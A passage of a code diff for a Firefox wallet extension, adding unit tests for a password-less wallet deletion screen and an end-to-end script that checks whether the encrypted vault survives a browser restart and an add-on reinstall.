// Both delete screens hang off Settings. Pushing one onto the other
|
||||||
|
// would leave Back on the confirm screen popping onto itself.
|
||||||
|
test("it does not push the screen it came from", async () => {
|
||||||
|
const { deleteWallet, state } = load();
|
||||||
|
await openLostPassword(deleteWallet, 1);
|
||||||
|
|
||||||
|
expect(state.viewStack).toEqual(["main", "settings"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("Back returns to the delete screen with its wallet still chosen", async () => {
|
||||||
|
const { deleteWallet, state } = load();
|
||||||
|
await openLostPassword(deleteWallet, 1);
|
||||||
|
await click("btn-delete-wallet-lost-back");
|
||||||
|
|
||||||
|
expect(state.currentView).toBe("delete-wallet-confirm");
|
||||||
|
expect(node("delete-wallet-name").textContent).toBe("Wallet 2");
|
||||||
|
expect(state.viewStack).toEqual(["main", "settings"]);
|
||||||
|
|
||||||
|
// The confirm screen is usable, not merely on screen: the wallet
|
||||||
|
// it holds is the one that was chosen, so its own button does not
|
||||||
|
// answer "No wallet selected for deletion."
|
||||||
|
node("delete-wallet-password").value = "some password";
|
||||||
|
const { decryptWithPassword } = require("../src/shared/vault");
|
||||||
|
decryptWithPassword.mockRejectedValue(new Error("nope"));
|
||||||
|
await click("btn-delete-wallet-confirm");
|
||||||
|
expect(node("delete-wallet-flash").textContent).toBe(
|
||||||
|
"That password is incorrect. Please try again.",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("the typed confirmation", () => {
|
||||||
|
test("a name that is not the wallet's deletes nothing", async () => {
|
||||||
|
const { deleteWallet, state, storage } = load();
|
||||||
|
await openLostPassword(deleteWallet, 1);
|
||||||
|
|
||||||
|
node("delete-wallet-lost-name-input").value = "Wallet 3";
|
||||||
|
await click("btn-delete-wallet-lost-confirm");
|
||||||
|
|
||||||
|
expect(node("delete-wallet-lost-flash").textContent).toBe(
|
||||||
|
"That is not the name of this wallet. Type Wallet 2 to confirm.",
|
||||||
|
);
|
||||||
|
expect(node("delete-wallet-lost-flash").style.visibility).toBe(
|
||||||
|
"visible",
|
||||||
|
);
|
||||||
|
expect(state.wallets.map((w) => w.name)).toEqual([
|
||||||
|
"Wallet 1",
|
||||||
|
"Wallet 2",
|
||||||
|
"Wallet 3",
|
||||||
|
]);
|
||||||
|
expect(state.currentView).toBe(VIEW);
|
||||||
|
// Nothing was destroyed on disk either. Storage is not empty —
|
||||||
|
// showView() persists the current screen on the way in — so what
|
||||||
|
// is asserted is that all three wallets are still in it.
|
||||||
|
const persisted = await persistedWallets(storage);
|
||||||
|
expect(persisted.map((w) => w.encryptedSecret)).toEqual([
|
||||||
|
"secret-one",
|
||||||
|
"secret-two",
|
||||||
|
"secret-three",
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("an empty field deletes nothing", async () => {
|
||||||
|
const { deleteWallet, state } = load();
|
||||||
|
await openLostPassword(deleteWallet, 1);
|
||||||
|
|
||||||
|
await click("btn-delete-wallet-lost-confirm");
|
||||||
|
|
||||||
|
expect(node("delete-wallet-lost-flash").style.visibility).toBe(
|
||||||
|
"visible",
|
||||||
|
);
|
||||||
|
expect(state.wallets).toHaveLength(3);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Not a secret and not a password: it asks whether the user knows
|
||||||
|
// which wallet they are on. Refusing the name they can plainly read,
|
||||||
|
// over letter case, would only teach them to distrust the control.
|
||||||
|
test("case and surrounding spaces do not matter", async () => {
|
||||||
|
const { deleteWallet, state, storage } = load();
|
||||||
|
await openLostPassword(deleteWallet, 1);
|
||||||
|
|
||||||
|
node("delete-wallet-lost-name-input").value = " wALLet 2 ";
|
||||||
|
await click("btn-delete-wallet-lost-confirm");
|
||||||
|
|
||||||
|
expect(state.wallets.map((w) => w.name)).toEqual([
|
||||||
|
"Wallet 1",
|
||||||
|
"Wallet 3",
|
||||||
|
]);
|
||||||
|
expect(await persistedWallets(storage)).toHaveLength(2);
|
||||||
|
});
|
||||||
|
|
||||||
|
// A name with a doubled inner space RENDERS with one — HTML collapses
|
||||||
|
// runs of whitespace — so the string the user can see and type is not
|
||||||
|
// the string the name is stored as. Comparing the two raw would make
|
||||||
|
// this wallet's confirmation impossible to satisfy by any typing at
|
||||||
|
// all, wedging the one screen that exists to unwedge people.
|
||||||
|
test("a doubled space inside the name is typed back as one", async () => {
|
||||||
|
const { deleteWallet, state, storage } = load();
|
||||||
|
state.wallets[1].name = "My Wallet";
|
||||||
|
await openLostPassword(deleteWallet, 1);
|
||||||
|
|
||||||
|
// What the DOM was handed still has both spaces; what the user
|
||||||
|
// reads off the screen, and therefore types, has one.
|
||||||
|
expect(node("delete-wallet-lost-name").textContent).toBe("My Wallet");
|
||||||
|
node("delete-wallet-lost-name-input").value = "My Wallet";
|
||||||
|
await click("btn-delete-wallet-lost-confirm");
|
||||||
|
|
||||||
|
expect(state.wallets.map((w) => w.name)).toEqual([
|
||||||
|
"Wallet 1",
|
||||||
|
"Wallet 3",
|
||||||
|
]);
|
||||||
|
const persisted = await persistedWallets(storage);
|
||||||
|
expect(persisted.map((w) => w.encryptedSecret)).toEqual([
|
||||||
|
"secret-one",
|
||||||
|
"secret-three",
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("deleting without the password", () => {
|
||||||
|
test("no password is asked for and none is checked", async () => {
|
||||||
|
const { deleteWallet, vault, storage } = load();
|
||||||
|
await openLostPassword(deleteWallet, 1);
|
||||||
|
|
||||||
|
node("delete-wallet-lost-name-input").value = "Wallet 2";
|
||||||
|
await click("btn-delete-wallet-lost-confirm");
|
||||||
|
|
||||||
|
expect(vault.decryptWithPassword).not.toHaveBeenCalled();
|
||||||
|
expect(await persistedWallets(storage)).toHaveLength(2);
|
||||||
|
});
|
||||||
|
|
||||||
|
// The load-bearing assertion of the whole file, and the one that says
|
||||||
|
// this control is safe to give a user who cannot prove anything: it
|
||||||
|
// removes the wallet it named, and every other wallet survives intact,
|
||||||
|
// key material included.
|
||||||
|
test("exactly the named wallet is destroyed", async () => {
|
||||||
|
const { deleteWallet, storage } = load();
|
||||||
|
await openLostPassword(deleteWallet, 1);
|
||||||
|
|
||||||
|
node("delete-wallet-lost-name-input").value = "Wallet 2";
|
||||||
|
await click("btn-delete-wallet-lost-confirm");
|
||||||
|
|
||||||
|
const wallets = await persistedWallets(storage);
|
||||||
|
expect(wallets.map((w) => w.name)).toEqual(["Wallet 1", "Wallet 3"]);
|
||||||
|
expect(wallets.map((w) => w.encryptedSecret)).toEqual([
|
||||||
|
"secret-one",
|
||||||
|
"secret-three",
|
||||||
|
]);
|
||||||
|
expect(wallets.map((w) => w.xpub)).toEqual([
|
||||||
|
"xpub-Wallet 1",
|
||||||
|
"xpub-Wallet 3",
|
||||||
|
]);
|
||||||
|
expect(wallets[0].addresses.map((a) => a.address)).toEqual([A0, A1]);
|
||||||
|
expect(wallets[1].addresses.map((a) => a.address)).toEqual([C0]);
|
||||||
|
|
||||||
|
// The deleted wallet's secret is gone from storage entirely, not
|
||||||
|
// merely unreferenced by the wallet list.
|
||||||
|
expect(JSON.stringify(storage.read())).not.toContain("secret-two");
|
||||||
|
expect(JSON.stringify(storage.read())).not.toContain("xpub-Wallet 2");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("only the deleted wallet's site permissions are dropped", async () => {
|
||||||
|
const { deleteWallet, storage } = load();
|
||||||
|
await openLostPassword(deleteWallet, 1);
|
||||||
|
|
||||||
|
node("delete-wallet-lost-name-input").value = "Wallet 2";
|
||||||
|
await click("btn-delete-wallet-lost-confirm");
|
||||||
|
|
||||||
|
const saved = (await storage.get("autistmask")).autistmask;
|
||||||
|
expect(saved.allowedSites).toEqual({ [A0]: ["a.example"] });
|
||||||
|
expect(saved.deniedSites).toEqual({ [C0]: ["d.example"] });
|
||||||
|
});
|
||||||
|
|
||||||
|
// The route shares finishDelete() with the password route, so the
|
||||||
|
// selection repair and the accountsChanged broadcast are the same on
|
||||||
|
// both. Deleting a wallet that did not own the active address must
|
||||||
|
// leave that address, and the selection, exactly where they were.
|
||||||
|
test("a selection in another wallet is left alone", async () => {
|
||||||
|
const { deleteWallet, storage, sent } = load();
|
||||||
|
await openLostPassword(deleteWallet, 1);
|
||||||
|
|
||||||
|
node("delete-wallet-lost-name-input").value = "Wallet 2";
|
||||||
|
await click("btn-delete-wallet-lost-confirm");
|
||||||
|
|
||||||
|
const saved = (await storage.get("autistmask")).autistmask;
|
||||||
|
expect(saved.activeAddress).toBe(A0);
|
||||||
|
expect(saved.selectedWallet).toBe(0);
|
||||||
|
expect(saved.selectedAddress).toBe(0);
|
||||||
|
expect(sent).toEqual([]);
|
||||||
|
// Settings is stubbed, so this is where the route hands over, not
|
||||||
|
// where it renders.
|
||||||
|
expect(mockSettingsShow).toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
test("deleting the wallet holding the active address moves it and says so", async () => {
|
||||||
|
const { deleteWallet, storage, sent } = load();
|
||||||
|
await openLostPassword(deleteWallet, 0);
|
||||||
|
|
||||||
|
node("delete-wallet-lost-name-input").value = "Wallet 1";
|
||||||
|
await click("btn-delete-wallet-lost-confirm");
|
||||||
|
|
||||||
|
const saved = (await storage.get("autistmask")).autistmask;
|
||||||
|
expect(saved.wallets.map((w) => w.name)).toEqual([
|
||||||
|
"Wallet 2",
|
||||||
|
"Wallet 3",
|
||||||
|
]);
|
||||||
|
expect(saved.activeAddress).toBe(B0);
|
||||||
|
expect(sent).toEqual([{ type: "AUTISTMASK_ACTIVE_CHANGED" }]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("deleting the last wallet lands on Welcome with nothing left", async () => {
|
||||||
|
const { deleteWallet, state, storage } = load();
|
||||||
|
state.wallets = [wallet("Wallet 1", "secret-one", [A0])];
|
||||||
|
state.allowedSites = { [A0]: ["a.example"] };
|
||||||
|
state.deniedSites = {};
|
||||||
|
|
||||||
|
await openLostPassword(deleteWallet, 0);
|
||||||
|
node("delete-wallet-lost-name-input").value = "Wallet 1";
|
||||||
|
await click("btn-delete-wallet-lost-confirm");
|
||||||
|
|
||||||
|
const saved = (await storage.get("autistmask")).autistmask;
|
||||||
|
expect(saved.wallets).toEqual([]);
|
||||||
|
expect(saved.hasWallet).toBe(false);
|
||||||
|
expect(saved.activeAddress).toBeNull();
|
||||||
|
expect(saved.allowedSites).toEqual({});
|
||||||
|
expect(state.currentView).toBe("welcome");
|
||||||
|
expect(JSON.stringify(storage.read())).not.toContain("secret-one");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("what the screen leaves behind", () => {
|
||||||
|
test("the typed confirmation is wiped when the screen is left", async () => {
|
||||||
|
const { helpers, deleteWallet } = load();
|
||||||
|
await openLostPassword(deleteWallet, 1);
|
||||||
|
|
||||||
|
node("delete-wallet-lost-name-input").value = "Wallet 2";
|
||||||
|
// The Settings gear, which is not this screen's Back button.
|
||||||
|
helpers.showView("settings");
|
||||||
|
|
||||||
|
expect(node("delete-wallet-lost-name-input").value).toBe("");
|
||||||
|
expect(node("delete-wallet-lost-flash").textContent).toBe("");
|
||||||
|
expect(node("delete-wallet-lost-flash").style.visibility).toBe(
|
||||||
|
"hidden",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Left mid-delete, the screen has to come back usable.
|
||||||
|
test("the confirm button is re-enabled on the way out", async () => {
|
||||||
|
const { helpers, deleteWallet } = load();
|
||||||
|
await openLostPassword(deleteWallet, 1);
|
||||||
|
|
||||||
|
node("btn-delete-wallet-lost-confirm").disabled = true;
|
||||||
|
helpers.showView("settings");
|
||||||
|
|
||||||
|
expect(node("btn-delete-wallet-lost-confirm").disabled).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
// A wallet name is not a secret, so the screen is excluded for the
|
||||||
|
// other reason: reopening the popup must not land the user on a screen
|
||||||
|
// whose button erases key material.
|
||||||
|
test("the popup may not reopen onto it", () => {
|
||||||
|
expect(RESTORABLE_VIEWS.has(VIEW)).toBe(false);
|
||||||
|
expect(RESTORABLE_VIEWS.has("delete-wallet-confirm")).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -72,6 +72,11 @@ RUN script/bootstrap
|
|||||||
|
|
||||||
COPY . .
|
COPY . .
|
||||||
|
|
||||||
RUN make build
|
# make package builds (and verifies) dist/ and then writes the release
|
||||||
|
# artifacts, so the image carries both: run.js installs the unpacked
|
||||||
|
# dist/firefox and reinstall.js installs the packaged .xpi, which is how the
|
||||||
|
# artifact that would actually be handed to someone gets exercised in a real
|
||||||
|
# Firefox rather than only being produced.
|
||||||
|
RUN make package
|
||||||
|
|
||||||
CMD ["node", "tests/e2e/firefox/run.js", "dist/firefox"]
|
CMD ["node", "tests/e2e/firefox/run.js", "dist/firefox"]
|
||||||
|
|||||||
@@ -103,7 +103,13 @@ class Driver {
|
|||||||
|
|
||||||
// ------------------------------------------------------------ setup
|
// ------------------------------------------------------------ setup
|
||||||
|
|
||||||
async newSession() {
|
// `profileDir` reuses an existing profile directory in place instead of
|
||||||
|
// letting geckodriver make a throwaway one. That is the only way to ask
|
||||||
|
// what survives a browser RESTART, which for a Firefox add-on that can
|
||||||
|
// only be installed temporarily is the question that decides whether the
|
||||||
|
// extension is usable at all: a temporary add-on is unloaded when Firefox
|
||||||
|
// exits, so every session begins by adding it again.
|
||||||
|
async newSession(profileDir) {
|
||||||
const prefs = {
|
const prefs = {
|
||||||
// See EXTENSION_UUID above. The pref is a string pref whose
|
// See EXTENSION_UUID above. The pref is a string pref whose
|
||||||
// value is itself JSON.
|
// value is itself JSON.
|
||||||
@@ -132,26 +138,27 @@ class Driver {
|
|||||||
"extensions.openPopupWithoutUserGesture.enabled": false,
|
"extensions.openPopupWithoutUserGesture.enabled": false,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const args = [
|
||||||
|
"-headless",
|
||||||
|
// Mandatory on Firefox 153: without it, navigating to
|
||||||
|
// moz-extension:// and running chrome-context script both
|
||||||
|
// fail with "unsupported operation".
|
||||||
|
//
|
||||||
|
// It grants the driver FULL CHROME PRIVILEGES over this
|
||||||
|
// browser. Acceptable only because the browser is a
|
||||||
|
// throwaway in a CI container; never point a session with
|
||||||
|
// this flag at anything you care about.
|
||||||
|
"-remote-allow-system-access",
|
||||||
|
];
|
||||||
|
if (profileDir) args.push("-profile", profileDir);
|
||||||
|
|
||||||
const value = await this.send("POST", "/session", {
|
const value = await this.send("POST", "/session", {
|
||||||
capabilities: {
|
capabilities: {
|
||||||
alwaysMatch: {
|
alwaysMatch: {
|
||||||
browserName: "firefox",
|
browserName: "firefox",
|
||||||
"moz:firefoxOptions": {
|
"moz:firefoxOptions": {
|
||||||
binary: FIREFOX_BIN,
|
binary: FIREFOX_BIN,
|
||||||
args: [
|
args,
|
||||||
"-headless",
|
|
||||||
// Mandatory on Firefox 153: without it,
|
|
||||||
// navigating to moz-extension:// and running
|
|
||||||
// chrome-context script both fail with
|
|
||||||
// "unsupported operation".
|
|
||||||
//
|
|
||||||
// It grants the driver FULL CHROME PRIVILEGES
|
|
||||||
// over this browser. Acceptable only because
|
|
||||||
// the browser is a throwaway in a CI
|
|
||||||
// container; never point a session with this
|
|
||||||
// flag at anything you care about.
|
|
||||||
"-remote-allow-system-access",
|
|
||||||
],
|
|
||||||
prefs,
|
prefs,
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
@@ -162,16 +169,30 @@ class Driver {
|
|||||||
return value;
|
return value;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Installs the unpacked MV2 build straight from a directory.
|
// Installs the MV2 build, either from an unpacked directory or from an
|
||||||
// temporary:true bypasses signature checks, so no XPI and no signing
|
// XPI file. temporary:true bypasses signature checks — which is the only
|
||||||
// are involved, and the add-on dies with the profile.
|
// way an UNSIGNED xpi installs at all, and the reason README.md says
|
||||||
async installAddon(dir) {
|
// release Firefox will refuse the artifact this repo produces — and the
|
||||||
|
// add-on dies with the profile.
|
||||||
|
//
|
||||||
|
// Returns the add-on id Firefox assigned, which is
|
||||||
|
// browser_specific_settings.gecko.id from the manifest and is what
|
||||||
|
// uninstallAddon() takes.
|
||||||
|
async installAddon(pathToAddon) {
|
||||||
return this.session("POST", "/moz/addon/install", {
|
return this.session("POST", "/moz/addon/install", {
|
||||||
path: dir,
|
path: pathToAddon,
|
||||||
temporary: true,
|
temporary: true,
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Removes an installed add-on, the way clicking Remove in about:addons
|
||||||
|
// does. tests/e2e/firefox/reinstall.js uses it to ask the one question
|
||||||
|
// that decides whether this extension can be used at all on Firefox: does
|
||||||
|
// the vault survive being removed and added again.
|
||||||
|
async uninstallAddon(id) {
|
||||||
|
return this.session("POST", "/moz/addon/uninstall", { id });
|
||||||
|
}
|
||||||
|
|
||||||
// Classic navigation on purpose. BiDi's browsingContext.navigate
|
// Classic navigation on purpose. BiDi's browsingContext.navigate
|
||||||
// refuses moz-extension:// URLs outright.
|
// refuses moz-extension:// URLs outright.
|
||||||
async navigate(url) {
|
async navigate(url) {
|
||||||
|
|||||||
438
tests/e2e/firefox/reinstall.js
Normal file
438
tests/e2e/firefox/reinstall.js
Normal file
@@ -0,0 +1,438 @@
|
|||||||
|
// Does the wallet survive being installed again on Firefox?
|
||||||
|
//
|
||||||
|
// This is the question behind
|
||||||
|
// https://git.eeqj.de/sneak/AutistMask/issues/310, and it is the one property
|
||||||
|
// that has to hold before real money goes into this extension. The only route
|
||||||
|
// that works on release Firefox is a TEMPORARY add-on, which is unloaded when
|
||||||
|
// the browser exits: daily use means adding it again from about:debugging on
|
||||||
|
// every browser start. If extension storage did not survive that, every start
|
||||||
|
// would present an empty wallet and the recovery phrase would be the only copy
|
||||||
|
// of the money.
|
||||||
|
//
|
||||||
|
// manifest/firefox.json declares a fixed browser_specific_settings.gecko.id,
|
||||||
|
// which is the right SHAPE for storage to survive — Firefox keys the storage
|
||||||
|
// area by add-on id — but shape is not observation, and nothing asserted it.
|
||||||
|
//
|
||||||
|
// Two different things are asked here, because they have different answers and
|
||||||
|
// conflating them would be the whole mistake:
|
||||||
|
//
|
||||||
|
// RESTART one profile, two browser runs, the add-on added temporarily
|
||||||
|
// in each. This is what a user does every day, and the vault
|
||||||
|
// has to survive it.
|
||||||
|
// REMOVAL an explicit uninstall, the way about:addons "Remove" works,
|
||||||
|
// inside one browser run. Firefox destroys an add-on's storage
|
||||||
|
// when it is uninstalled, and the observed result is recorded
|
||||||
|
// here rather than wished away — for a wallet it means Remove
|
||||||
|
// is irreversible except from the recovery phrase.
|
||||||
|
//
|
||||||
|
// The vault is not merely compared as bytes in the restart case. It is
|
||||||
|
// DECRYPTED with the original password through the real Show Recovery Phrase
|
||||||
|
// screen and the phrase is compared against the one wallet creation produced,
|
||||||
|
// because "the ciphertext is still in storage" and "the wallet still works"
|
||||||
|
// are different claims and only the second one is worth anything.
|
||||||
|
//
|
||||||
|
// Run through script/test-e2e-firefox, which builds the artifact and the
|
||||||
|
// pinned container. The one argument is what to install — an unpacked
|
||||||
|
// directory or an .xpi. With none, the packaged XPI in release/ is used, so
|
||||||
|
// this doubles as the check that the release artifact installs in a real
|
||||||
|
// Firefox.
|
||||||
|
//
|
||||||
|
// node tests/e2e/firefox/reinstall.js release/autistmask-firefox-0.1.0.xpi
|
||||||
|
//
|
||||||
|
// A separate program from run.js rather than another step in it: every step
|
||||||
|
// there shares one browser session with one installed add-on, and this needs
|
||||||
|
// two browsers and three installs.
|
||||||
|
|
||||||
|
"use strict";
|
||||||
|
|
||||||
|
const fs = require("fs");
|
||||||
|
const os = require("os");
|
||||||
|
const path = require("path");
|
||||||
|
|
||||||
|
const { EXTENSION_ID, EXTENSION_UUID, start } = require("./driver");
|
||||||
|
|
||||||
|
const REPO_ROOT = path.resolve(__dirname, "..", "..", "..");
|
||||||
|
const PASSWORD = "e2e-harness-password";
|
||||||
|
|
||||||
|
const STEP_TIMEOUT_MS = 120000;
|
||||||
|
|
||||||
|
const checks = [];
|
||||||
|
let failed = 0;
|
||||||
|
|
||||||
|
function check(name, cond, detail) {
|
||||||
|
checks.push(name);
|
||||||
|
if (cond) {
|
||||||
|
console.log("ok " + checks.length + " - " + name);
|
||||||
|
} else {
|
||||||
|
failed += 1;
|
||||||
|
console.log("not ok " + checks.length + " - " + name);
|
||||||
|
if (detail) console.log(" " + detail);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// The moz-extension:// uuid Firefox currently serves this add-on from, read
|
||||||
|
// out of the pref that holds the mapping. Privileged scope, because that pref
|
||||||
|
// is not reachable from content.
|
||||||
|
//
|
||||||
|
// It has to be read after every install and never assumed. driver.js pins a
|
||||||
|
// uuid through extensions.webextensions.uuids at each session start, but an
|
||||||
|
// uninstall inside a running session drops that mapping and the next install
|
||||||
|
// mints a fresh one — and navigating to the stale origin does not fail, it
|
||||||
|
// HANGS until the session times out, which is how this was found.
|
||||||
|
async function extensionUuid(d) {
|
||||||
|
const raw = await d.executeChrome(
|
||||||
|
`return Services.prefs.getStringPref(
|
||||||
|
"extensions.webextensions.uuids", "{}");`,
|
||||||
|
);
|
||||||
|
let map;
|
||||||
|
try {
|
||||||
|
map = JSON.parse(raw);
|
||||||
|
} catch (e) {
|
||||||
|
throw new Error(
|
||||||
|
"extensions.webextensions.uuids is not JSON (" +
|
||||||
|
e.message +
|
||||||
|
"): " +
|
||||||
|
raw,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return map[EXTENSION_ID] || null;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function openPopup(d) {
|
||||||
|
const uuid = await extensionUuid(d);
|
||||||
|
if (!uuid) {
|
||||||
|
throw new Error(
|
||||||
|
"no uuid for " +
|
||||||
|
EXTENSION_ID +
|
||||||
|
" in extensions.webextensions.uuids, so the popup has no " +
|
||||||
|
"origin to be served from",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
await d.navigate("moz-extension://" + uuid + "/src/popup/index.html");
|
||||||
|
// Whichever screen it lands on, wait for one of the two it can land on.
|
||||||
|
// Waiting for #view-main directly would time out rather than say what
|
||||||
|
// happened, and an empty storage partition is exactly the case where it
|
||||||
|
// lands on the other one.
|
||||||
|
await d.waitFor(
|
||||||
|
"the popup to finish restoring",
|
||||||
|
`const w = document.getElementById("view-welcome");
|
||||||
|
const m = document.getElementById("view-main");
|
||||||
|
if (!w || !m) return false;
|
||||||
|
const shown = (el) => {
|
||||||
|
const r = el.getBoundingClientRect();
|
||||||
|
return r.width > 0 && r.height > 0;
|
||||||
|
};
|
||||||
|
return shown(w) || shown(m);`,
|
||||||
|
[],
|
||||||
|
STEP_TIMEOUT_MS,
|
||||||
|
);
|
||||||
|
return uuid;
|
||||||
|
}
|
||||||
|
|
||||||
|
// The persisted record, straight out of extension storage, read from the popup
|
||||||
|
// page — the one moz-extension:// document this program opens and therefore
|
||||||
|
// the only place the storage API is reachable from.
|
||||||
|
async function readVault(d) {
|
||||||
|
const outcome = await d.executeAsync(
|
||||||
|
`const done = arguments[arguments.length - 1];
|
||||||
|
const api = typeof browser !== "undefined" ? browser : chrome;
|
||||||
|
Promise.resolve(api.storage.local.get("autistmask"))
|
||||||
|
.then((r) => {
|
||||||
|
const s = r.autistmask;
|
||||||
|
if (!s) return done({ present: false });
|
||||||
|
const w = (s.wallets || [])[0];
|
||||||
|
if (!w) return done({ present: false });
|
||||||
|
done({
|
||||||
|
present: true,
|
||||||
|
wallets: s.wallets.length,
|
||||||
|
name: w.name,
|
||||||
|
xpub: w.xpub,
|
||||||
|
address: (w.addresses || []).map((a) => a.address)[0],
|
||||||
|
vault: JSON.stringify(w.encryptedSecret),
|
||||||
|
});
|
||||||
|
})
|
||||||
|
.catch((e) => done({ error: String((e && e.message) || e) }));`,
|
||||||
|
);
|
||||||
|
if (outcome && outcome.error) {
|
||||||
|
throw new Error("could not read extension storage: " + outcome.error);
|
||||||
|
}
|
||||||
|
return outcome;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function createWallet(d) {
|
||||||
|
await d.click("#btn-welcome-add");
|
||||||
|
await d.waitVisible("#view-add-wallet");
|
||||||
|
await d.click("#btn-generate-phrase");
|
||||||
|
await d.waitFor(
|
||||||
|
"a generated recovery phrase of at least 12 words",
|
||||||
|
`const el = document.getElementById("wallet-mnemonic");
|
||||||
|
return !!el && el.value.trim().split(/\\s+/).length >= 12;`,
|
||||||
|
);
|
||||||
|
const phrase = (await d.value("#wallet-mnemonic")).trim();
|
||||||
|
await d.fill("#add-wallet-password", PASSWORD);
|
||||||
|
await d.fill("#add-wallet-password-confirm", PASSWORD);
|
||||||
|
await d.click("#btn-add-wallet-confirm");
|
||||||
|
// Argon2id under libsodium, for real.
|
||||||
|
await d.waitVisible("#view-main", STEP_TIMEOUT_MS);
|
||||||
|
return phrase;
|
||||||
|
}
|
||||||
|
|
||||||
|
// The phrase the vault decrypts to, obtained the way a user would: Settings,
|
||||||
|
// Show Recovery Phrase, the original password.
|
||||||
|
async function revealPhrase(d) {
|
||||||
|
if (!(await d.isVisible("#view-settings"))) {
|
||||||
|
await d.click("#btn-settings");
|
||||||
|
}
|
||||||
|
await d.waitVisible("#view-settings");
|
||||||
|
await d.click("#settings-wallet-list .btn-show-phrase");
|
||||||
|
await d.waitVisible("#view-show-phrase");
|
||||||
|
await d.fill("#show-phrase-password", PASSWORD);
|
||||||
|
await d.click("#btn-show-phrase-reveal");
|
||||||
|
await d.waitVisible("#show-phrase-result", STEP_TIMEOUT_MS);
|
||||||
|
return (await d.text("#show-phrase-value")).trim();
|
||||||
|
}
|
||||||
|
|
||||||
|
// What to install. An explicit argument wins; with none, the packaged XPI in
|
||||||
|
// release/ is used, and there is deliberately no fallback to dist/firefox: the
|
||||||
|
// point of running this against the artifact is that the artifact is what gets
|
||||||
|
// installed, and quietly testing something else instead would leave the XPI
|
||||||
|
// unexercised while the run stayed green.
|
||||||
|
function resolveArtifact() {
|
||||||
|
if (process.argv[2]) return path.resolve(REPO_ROOT, process.argv[2]);
|
||||||
|
|
||||||
|
const releaseDir = path.join(REPO_ROOT, "release");
|
||||||
|
const xpis = fs.existsSync(releaseDir)
|
||||||
|
? fs.readdirSync(releaseDir).filter((f) => f.endsWith(".xpi"))
|
||||||
|
: [];
|
||||||
|
if (xpis.length !== 1) {
|
||||||
|
throw new Error(
|
||||||
|
"expected exactly one .xpi in release/, found " +
|
||||||
|
xpis.length +
|
||||||
|
" (" +
|
||||||
|
xpis.join(", ") +
|
||||||
|
"). Run make package, or name the artifact as the argument.",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return path.join(releaseDir, xpis[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function main() {
|
||||||
|
let artifact;
|
||||||
|
try {
|
||||||
|
artifact = resolveArtifact();
|
||||||
|
} catch (e) {
|
||||||
|
console.error("e2e-firefox-reinstall: " + e.message);
|
||||||
|
process.exitCode = 1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (!fs.existsSync(artifact)) {
|
||||||
|
console.error(
|
||||||
|
"e2e-firefox-reinstall: nothing to install at " + artifact,
|
||||||
|
);
|
||||||
|
process.exitCode = 1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
console.log("# installing: " + artifact);
|
||||||
|
|
||||||
|
// One profile, reused by both browser runs below. geckodriver would
|
||||||
|
// otherwise make a throwaway one per session, and "survives a restart"
|
||||||
|
// cannot be asked of a profile that does not.
|
||||||
|
const profile = fs.mkdtempSync(
|
||||||
|
path.join(os.tmpdir(), "autistmask-reinstall-profile-"),
|
||||||
|
);
|
||||||
|
|
||||||
|
let phrase = null;
|
||||||
|
let before = null;
|
||||||
|
let first;
|
||||||
|
|
||||||
|
// --- run one: install, create a wallet, close the browser --------------
|
||||||
|
try {
|
||||||
|
first = await start();
|
||||||
|
await first.newSession(profile);
|
||||||
|
} catch (e) {
|
||||||
|
// A browser we cannot start is a failure of this program, never an
|
||||||
|
// absent one.
|
||||||
|
console.error("e2e-firefox-reinstall: cannot run: " + e.message);
|
||||||
|
if (first) await first.quit().catch(() => {});
|
||||||
|
process.exitCode = 1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const firstId = await first.installAddon(artifact);
|
||||||
|
check(
|
||||||
|
"the artifact installs and reports the manifest's gecko id",
|
||||||
|
firstId === EXTENSION_ID,
|
||||||
|
"installed add-on id is " +
|
||||||
|
JSON.stringify(firstId) +
|
||||||
|
", expected " +
|
||||||
|
JSON.stringify(EXTENSION_ID) +
|
||||||
|
". Without a stable id Firefox has no key to hang the " +
|
||||||
|
"storage area on, and nothing below can hold.",
|
||||||
|
);
|
||||||
|
|
||||||
|
const firstUuid = await openPopup(first);
|
||||||
|
await first.waitVisible("#view-welcome", STEP_TIMEOUT_MS);
|
||||||
|
phrase = await createWallet(first);
|
||||||
|
before = await readVault(first);
|
||||||
|
check(
|
||||||
|
"a wallet created through the UI is in extension storage",
|
||||||
|
before.present && before.wallets === 1 && !!before.vault,
|
||||||
|
JSON.stringify(before),
|
||||||
|
);
|
||||||
|
console.log(
|
||||||
|
"# run 1 moz-extension uuid: " +
|
||||||
|
firstUuid +
|
||||||
|
(firstUuid === EXTENSION_UUID ? " (the pinned one)" : ""),
|
||||||
|
);
|
||||||
|
} catch (e) {
|
||||||
|
failed += 1;
|
||||||
|
console.log("# ERROR in run 1: " + (e && e.stack ? e.stack : e));
|
||||||
|
} finally {
|
||||||
|
await first.quit().catch(() => {});
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- run two: same profile, add-on added again -------------------------
|
||||||
|
//
|
||||||
|
// This is the restart. The temporary add-on died with the previous
|
||||||
|
